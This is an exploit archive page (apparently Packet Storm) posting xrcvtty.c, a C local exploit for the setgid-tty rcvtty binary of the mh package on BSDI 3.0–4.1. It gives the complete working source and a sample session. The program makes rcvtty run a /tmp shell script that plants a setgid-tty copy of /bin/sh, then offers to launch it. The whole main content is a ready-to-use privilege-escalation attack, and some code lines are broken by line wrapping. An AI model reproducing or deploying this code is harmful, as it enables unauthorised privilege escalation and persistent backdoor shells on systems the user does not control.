what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

xrcvtty.c

xrcvtty.c
Posted Dec 3, 2000
Authored by vade79, realhalo | Site realhalo.org

BSDI 3.0/4.0 /usr/contrib/mh/lib/rcvtty local exploit - Gives a egid=4(tty) shell.

tags | exploit, shell, local
SHA-256 | 97df13bd07d261bb87a10c4f6335d25e1cca2a73e97e369c44265dec113c0303

xrcvtty.c

Change Mirror Download
/* (BSDi3.0-4.1)rcvtty[mh] local exploit, by v9[v9@fakehalo.org].  this exploit
is for the rcvtty of the mh package, which is setgid=4(tty) on BSDi. this
exploit gives you egid/group=4(tty) access. (rm#2)

example:
-------------------------------------------------
bash-2.02$ id
uid=101(v9) gid=100(user) groups=100(user)
bash-2.02$ cc xrcvtty.c -o xrcvtty
bash-2.02$ ./xrcvtty
[ (BSDi3.0-4.1)rcvtty[mh] local exploit, by v9[v9@fakehalo.org]. ]

[*] /usr/contrib/mh/lib/rcvtty appears to be setgid tty(4).
[*] now making shell script to execute.
[*] done, now building and executing the command line.
[*] done, now checking for success.
[*] success, /tmp/ttysh is now setgid tty(4).
[*] finished, everything appeared to have gone successful.
[?] do you wish to enter the sgidshell now(y/n)?: y
[*] ok, executing shell(/tmp/ttysh) now.
$ id
uid=101(v9) gid=100(user) egid=4(tty) groups=4(tty), 100(user)
$
-------------------------------------------------

info: findings and exploit by v9[v9@fakehalo.org].
*/
#define PATH "/usr/contrib/mh/lib/rcvtty" /* path to rcvtty. */
#define MAKESHELL "/tmp/mksh.sh" /* tmpfile to exec. */
#define SGIDSHELL "/tmp/ttysh" /* gidshell location. *
/
#define GIDTTY 4 /* gid of tty group */
#include <stdio.h>
#include <sys/stat.h>
main(){
char cmd[256],in[0];
struct stat mod1,mod2;
FILE *sgidexec;
fprintf(stderr,"[ (BSDi3.0-4.1)rcvtty[mh] local exploit, by v9[v9@fakehalo.org
"
"]. ]\n\n");
if(stat(PATH,&mod1)){
fprintf(stderr,"[!] failed, %s doesnt appear to exist.\n",PATH);
exit(1);
}
else if(mod1.st_mode==34285&&mod1.st_gid==GIDTTY){
fprintf(stderr,"[*] %s appears to be setgid tty(%d).\n",PATH,GIDTTY);
}
else{
fprintf(stderr,"[!] failed, %s isn't setgid tty(%d).\n",PATH,GIDTTY);
exit(1);
}
fprintf(stderr,"[*] now making shell script to execute.\n");
unlink(MAKESHELL);
sgidexec=fopen(MAKESHELL,"w");
fprintf(sgidexec,"#!/bin/sh\n");
fprintf(sgidexec,"cp /bin/sh %s\n",SGIDSHELL);
fprintf(sgidexec,"chgrp %d %s\n",GIDTTY,SGIDSHELL);
fprintf(sgidexec,"chmod 2755 %s\n",SGIDSHELL);
fclose(sgidexec);
chmod(MAKESHELL,33261);
fprintf(stderr,"[*] done, now building and executing the command line.\n");
snprintf(cmd,sizeof(cmd),"echo yes | %s %s 1>/dev/null 2>&1",PATH,MAKESHELL);
system(cmd);
unlink(MAKESHELL);
fprintf(stderr,"[*] done, now checking for success.\n");
if(stat(SGIDSHELL,&mod2)){
fprintf(stderr,"[!] failed, %s doesn't exist.\n",SGIDSHELL);
exit(1);
}
else if(mod2.st_mode==34285&&mod2.st_gid==GIDTTY){
fprintf(stderr,"[*] success, %s is now setgid tty(%d).\n",SGIDSHELL,GIDTTY);
}
else{
fprintf(stderr,"[!] failed, %s isn't setgid tty(%d).\n",SGIDSHELL,GIDTTY);
exit(1);
}
fprintf(stderr,"[*] finished, everything appeared to have gone successful.\n")
;
fprintf(stderr,"[?] do you wish to enter the sgidshell now(y/n)?: ");
scanf("%s",in);
if(in[0]!=0x59&&in[0]!=0x79){
printf("[*] ok, aborting execution, the shell is: %s.\n",SGIDSHELL);
}
else{
printf("[*] ok, executing shell(%s) now.\n",SGIDSHELL);
execl(SGIDSHELL,SGIDSHELL,0);
}
exit(0);
}

Login or Register to add favorites

File Archive:

June 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jun 1st
    0 Files
  • 2
    Jun 2nd
    0 Files
  • 3
    Jun 3rd
    18 Files
  • 4
    Jun 4th
    21 Files
  • 5
    Jun 5th
    0 Files
  • 6
    Jun 6th
    57 Files
  • 7
    Jun 7th
    6 Files
  • 8
    Jun 8th
    0 Files
  • 9
    Jun 9th
    0 Files
  • 10
    Jun 10th
    12 Files
  • 11
    Jun 11th
    27 Files
  • 12
    Jun 12th
    38 Files
  • 13
    Jun 13th
    16 Files
  • 14
    Jun 14th
    14 Files
  • 15
    Jun 15th
    0 Files
  • 16
    Jun 16th
    0 Files
  • 17
    Jun 17th
    16 Files
  • 18
    Jun 18th
    26 Files
  • 19
    Jun 19th
    15 Files
  • 20
    Jun 20th
    18 Files
  • 21
    Jun 21st
    8 Files
  • 22
    Jun 22nd
    0 Files
  • 23
    Jun 23rd
    0 Files
  • 24
    Jun 24th
    19 Files
  • 25
    Jun 25th
    5 Files
  • 26
    Jun 26th
    0 Files
  • 27
    Jun 27th
    0 Files
  • 28
    Jun 28th
    0 Files
  • 29
    Jun 29th
    0 Files
  • 30
    Jun 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close